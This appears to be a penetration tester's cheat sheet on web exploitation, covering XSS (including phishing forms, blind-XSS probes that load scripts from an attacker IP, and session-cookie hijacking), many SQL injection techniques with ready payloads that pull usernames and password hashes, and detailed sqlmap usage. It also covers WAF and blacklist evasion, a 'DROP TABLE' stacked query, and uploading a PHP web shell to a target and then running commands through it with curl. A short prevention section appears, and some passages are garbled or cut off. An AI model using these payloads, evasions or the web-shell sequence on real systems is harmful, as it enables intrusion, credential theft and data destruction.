# Contains the web root/etc/apache2/sites-available/000-default.conf
General
# May contain password hashes/webroot/.htpasswd
Exploits
Cross-Site Scripting (XSS)
Types of XSS vulnerabilities
XSS is caused by malicious user input of javascript code which causes subsequent page loads to include that malicious javascript code. Eg, malicious input into a comment box.
The malicious javascript code could cause a victims browser to send their session code to the attacker. It could also send an API request to have the victim’s password reset to one of the attacker’s choosing.
Persistent XSS (eg stored) - When the XSS payload gets stored in the back-end database and retrieved upon visiting the page. It will be persistent for any user that visits the page.
Non-persistent XSS - Are temporary and are not persistent through page refreshes. So, attacks only affect targeted users and will not affect other users who visit the page.
Reflected XSS - When the XSS payload reaches the back-end server and gets returned without being sanitised.
DOM-based XSS - Whilst Reflected XSS sends the payload to the back-end serer through HTTP requests, DOM XSS is completely processed on the client-side through JavaScript. DOM XSS occurs when JavaScript is used to change the page source through the Document Object Model (DOM).
Redirect to a malicious, identical-looking webpage
DOM XSS
Context for the payload - a vulnerable HTML page has JS code which updates the content of a HTML with whatever is placed after the hash in the URL
An attacker can place a malicious payload after the hash, which would cause the (client-side) JS compiler to insert the payload within the pre-defined HTML tag. When the page is loaded, the JS payload is ran.
The payload could be more malicious - like cookie stealing, as seen in the Reflected XSS payloads section
For when .innerHTML is the vulnerable function - don’t use <script> as it won’t accept it. Instead use:
Other
Phishing
Identify a working payload
Create a payload which displays a malicious login form
The form says to Please login to continue. Have the completed form send its information to a server we are listening on.
When the XSS vulnerability is on a page we cannot access and therefore cannot see whether or how the XSS vulnerability exists.
The problem
For example, a sign up form may submit the form answers to an admin on an admin page. That admin page (which can only be viewed by an admin user) may have an XSS vulnerability within it. The attacker won’t, however, know what value in the form has an XSS vulnerability, nor what type of payload works for that vulnerability (if it does indeed exist).
The solution
For each field we inject javascript into (in the hope its vulnerable to XSS), we can change the requested script name to the name of the field we are injecting in.
\<script src="http://OUR_IP/username">\</script>`
If we get a request for /username, then we know that the username field is vulnerable to XSS, and so on. If we don’t, then it could be because the payload type is wrong.
Once each field has been tested for a given payload type, we can retry each field with a different payload type.
<!-- this goes inside the full-name field -->\<script src=http://OUR_IP/fullname>\</script><!-- this goes inside the username field -->\<script src=http://OUR_IP/username>\</script>...SNIP...<!-- this goes inside the full-name field -->\<img src="" onerror=http://OUR_IP/fullname /><!-- this goes inside the username field -->\<img src="" onerror=http://OUR_IP/username />
Session hijacking
Have the XSS vulnerability retrieve a malicious JS script
Use the obtained session cookie to login as that user
Add the cookie to the web browser (via Storage in Dev Tools).
Once the cookie has been added, refresh the page to load it with the added cookie.
XSS prevention
Validate user input
Check that what the user inputs is in a format that that input field would expect (eg does it look like an email?). Do this on both the front end and back end.
Sanitise user input
Check that the user input does not include things like javascript code. Check on both the front-end and back-end. If so, escape the special characters that would allow the javascript code to execute.
Never directly inject user input into HTML code
Never use user input directly within certain HTML tags, like:
Done on the back-end. It would, for example, encode < into <, so the browser will display that char, but it would not cause any injection possibilities.
Have a Web Application Firewall (WAF)
It can automatically detect any type of inject going through HTTP requests and auto-reject those requests.
SQLi
Types of SQLi
Boolean-based blind SQL injection
Exploit
The application doesn’t return any visible data from the database, but it does respond differently based on a true or false answer to the injected SQL query.
Eg, if the condition is true, the page might load normally. If the condition is false, the page might show an error, a blank page, or a different structure. Differences in load times are considered time-based sql injection instead.
Lets say a website has this vulnerable query:
SELECT * FROM users WHERE id = '$id';
And you control the id parameter via a URL like:
https://example.com/profile.php?id=1
You could inject a condition:
?id=1 AND 1=1 --> True, page loads normally ?id=1 AND 1=2 --> False, page behaves differently
And use that to extract the first character of the current database user:
?id=1 AND SUBSTRING(USER(), 1, 1) = 'r'
If it returns the same page, then the first letter is ‘r’. If not, then try ‘a’, ‘b’, ‘c’, … until you find the right character.
Error-based SQL injection
Exploit
The application returns error messages which can be exploited to reveal information, like table names, column name, usernames, password hashes, version info.
?id=1' AND (SELECT 1 FROM (SELECT COUNT(\*), CONCAT((SELECT @@version), FLOOR(RAND(0)\*2)) AS x FROM information_schema.tables GROUP BY x) a)-- -
This intentionally causes a duplicate entry error due to the GROUP BY with RAND() - but the error message includes the output of @@version, which leaks the database version.
UNION-based SQL injection
UNION operator to combine the results of two or more SELECT queries - one legitimate and one injected - to retrieve data from other tables in the database.
The attacker can use the SQL
The SQL UNION operator combines the results of two SELECT statements as long as: (1) both queries return the same number of columns, and (2) the columns have compatible data types. For example:
SELECT id, username FROM usersUNIONSELECT id, email FROM customers;
?id=3 UNION SELECT username, password FROM users-- -
Which turns the SQL query into:
SELECT name, price FROM products WHERE id = 3UNIONSELECT username, password FROM users;
Now the page might display usernames and hashes instead of product info.
Steps to perform UNION SQLi
Confirm the injection point
Find the number of columns
?id=3 ORDER BY 1-- (works)?id=3 ORDER BY 2-- (works)?id=3 ORDER BY 3-- (error → only 2 columns)
Inject your own SELECT with same number of columns and same data types (eg cannot inject a string into an integer column):
?id=-1 UNION SELECT username, password FROM users--
Stacked queries
;). For example:
SELECT * FROM users WHERE id = 1; DROP TABLE users;
Stacked SQLi is special because it allows attackers to go beyond reading data - they can modify the database: INSERT new rows, UPDATE records, DELETE tables, and CREATE new users
Time-based blind SQL Injection
Exploit
The attacker can’t see any direct output from the database, but can still extract data by making the database “wait” (or delay) for a certain amount of time based on a condition.
Would cause the page to load slowly (5 seconds) if the injection works.
And this:
?id=1 AND IF(SUBSTRING((SELECT user()), 1, 1) = 'r', SLEEP(5), 0)--
Would cause a 5 second delay if the first letter of the DB user is 'r'. You can then repeat the process to extract the subsequent characters (using SUBSTRING):
?id=1 AND IF(SUBSTRING(USER(), 2, 1) = 'a', SLEEP(5), 0)--
Inline queries
Exploit
A SQL query embedded within the original query.
These are uncommon because they require the vulnerable web app to be written in a certain way.
For example (ignore backslash):
SELECT username, (SELECT COUNT(\*) FROM logins WHERE user_id = users.id) AS login_countFROM users;
Out-of-band SQL injection
Exploit
An attack can exfiltrate data through alternative channels, like DNS requests, HTTP requests and file writes.
Typically used when all other techniques fail or are impractical (eg time-based). For example:
If the server reaches out, it leaks the fact that the injection worked - and may included data (eg @@version) in the subdomain part of the requested path:
# Show basic or advanced helpsqlmap -hsqlmap -hh# Read the wikihttps://github.com/sqlmapproject/sqlmap/wiki/Usage
Generate a request
Developer Tools > Network > right-click request > Save as cURL
Burp > right-click request > Copy to file
Provide a HTTP request
GET request
# GET request - generated from Save as cURL Firefox optionsqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'# POST requestsqlmap 'http://www.example.com/' --data 'uid=1&name=test'# Only test the uid parametersqlmap 'http://www.example.com/' --data 'uid=1&name=test' -p uidsqlmap 'http://www.example.com/' --data 'uid=1*&name=test'# Use a file (generated via Burp 'Copy to file' option)sqlmap -r req.txt
A vector - which is the central part of the payload
The boundaries - which are the prefix and suffix formations that allow the vector to be properly injected into the victim application
For example if the vulnerable code at the target is:
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $\_GET["q"] . "')) LIMIT 0,1";\$result = mysqli_query($link, $query);
The vector UNION ALL SELECT 1,2,VERSION(), bounded with the prefix %')) and the suffix -- - will result in the following (valid) SQL statement at the targetL
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1
# There are 17 columns--union-cols=17# Set 'a' as the filling value instead of default NULL and random integer--union-char='a'# Add a 'FROM users' table syntax - required for Oracle databases--union-from=table # generic--union-from=users # example
Database enumeration
Basic information
--banner # database version banner--curent-user # current user name--curent-db # current database name--is-dba # checking if the current user has administrator rights
Rows
--tables # list tables--columns # list columns-D # specify database-T # specify table-C # specify column--dump # dump the specified columns--dump-all --exclude-sysdbs # dump all databases except any system databases# Dump rows starting at the 2nd and ending at the 3rd--start=2--stop=3# Dump rows based on a condition--where="name LIKE 'f%'"# See how SQLMap options affect the SQL queries/usr/share/sqlmap/data/xml/queries.xml
Advanced enumeration
--schema # see structure of all tables--search -T user # search tables called 'user' OR SIMILAR (eg username)--search -T pass # search tables called 'pass' OR SIMILAR (eg password)--passwords # auto-finds passwords--all --batch # enumerate everything possible from the DBMS - will require manually review in the output files
Bypassing Web Application Protections
Include CSRF tokens in requests
--csrf-token. SQLMap automatically scans responses for when the token updates.
Specify which parameter supplies the CSRF token with
--proxy="socks4://177.39.187.70:33283" # Proxy# Proxy list (run through sequentially, in case the first doesn't work)--proxy-file--tor # use Tor network, needs setup beforehand (SOCKS proxy on port 9050 or 9150)--check-tor # SQLMap checks that Tor is properly setup
Skip WAF detection
Info
If a WAF is detected, SQLMap uses a third-party library identYwaf to detect the specific WAF.
--skip-waf # skip checks for a WAF
Bypass user-agent blacklisting
--random-agent # changes the default one to a random one from a large pool of values used by browsers
Tamper scripts
between replaces all occurences of > with NOT BETWEEN 0 AND # and = with BETWEEN # AND #. This helps to overcome primitive protection mechanisms on the server.
Python scripts that modify payloads just before they’re sent to the target. Eg
--tamper=between # single script--tamper=between,randomcase # multiple scripts--list-tampers # available scripts
Chunked transfer encoding
Info
Splits the POST request’s body into ‘chunks’, which causes blacklisted SQL keywords to be split and sometimes go unnoticed
--chunked
HTTP parameter pollution
--chunked (chunked transfer encoding), but this time across multiple parameters of the same name, eg ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...
Write to local files (to create a vulnerable web server)
--secure-file-priv config must be manually disabled to enable the INTO OUTFILE command in MySQL.
Usually disabled. Eg the
# Prepare a basic PHP shellecho '<?php system($_GET["cmd"]); ?>' > shell.php# Write the PHP shell on to the remote serversqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"# Access the remote PHP shell to execute a remote commandcurl http://www.example.com/shell.php?cmd=ls+-la
###### OS commands
--os-shell # attempts various techniques
--os-shell --technique=E # uses error-based payloads only
Miscelleaneous options
General
# Use default options, skip any required user-input--batch# Session cookiesqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'# Random user-agent header--random-agent# Imitate a smartphone--mobile# Change HTTP method--method PUT
Troubleshoot
# Display any DBMS errors--parse-errors# Output traffic to a file (all sent and received HTTP requests)-t /tmp/traffic.txt# Verbose (level)-v 3 # (or higher) displays the payloads used-v 6 # displays all errors and full HTTP requests to the terminal# Proxy--proxy 127.0.0.1:8080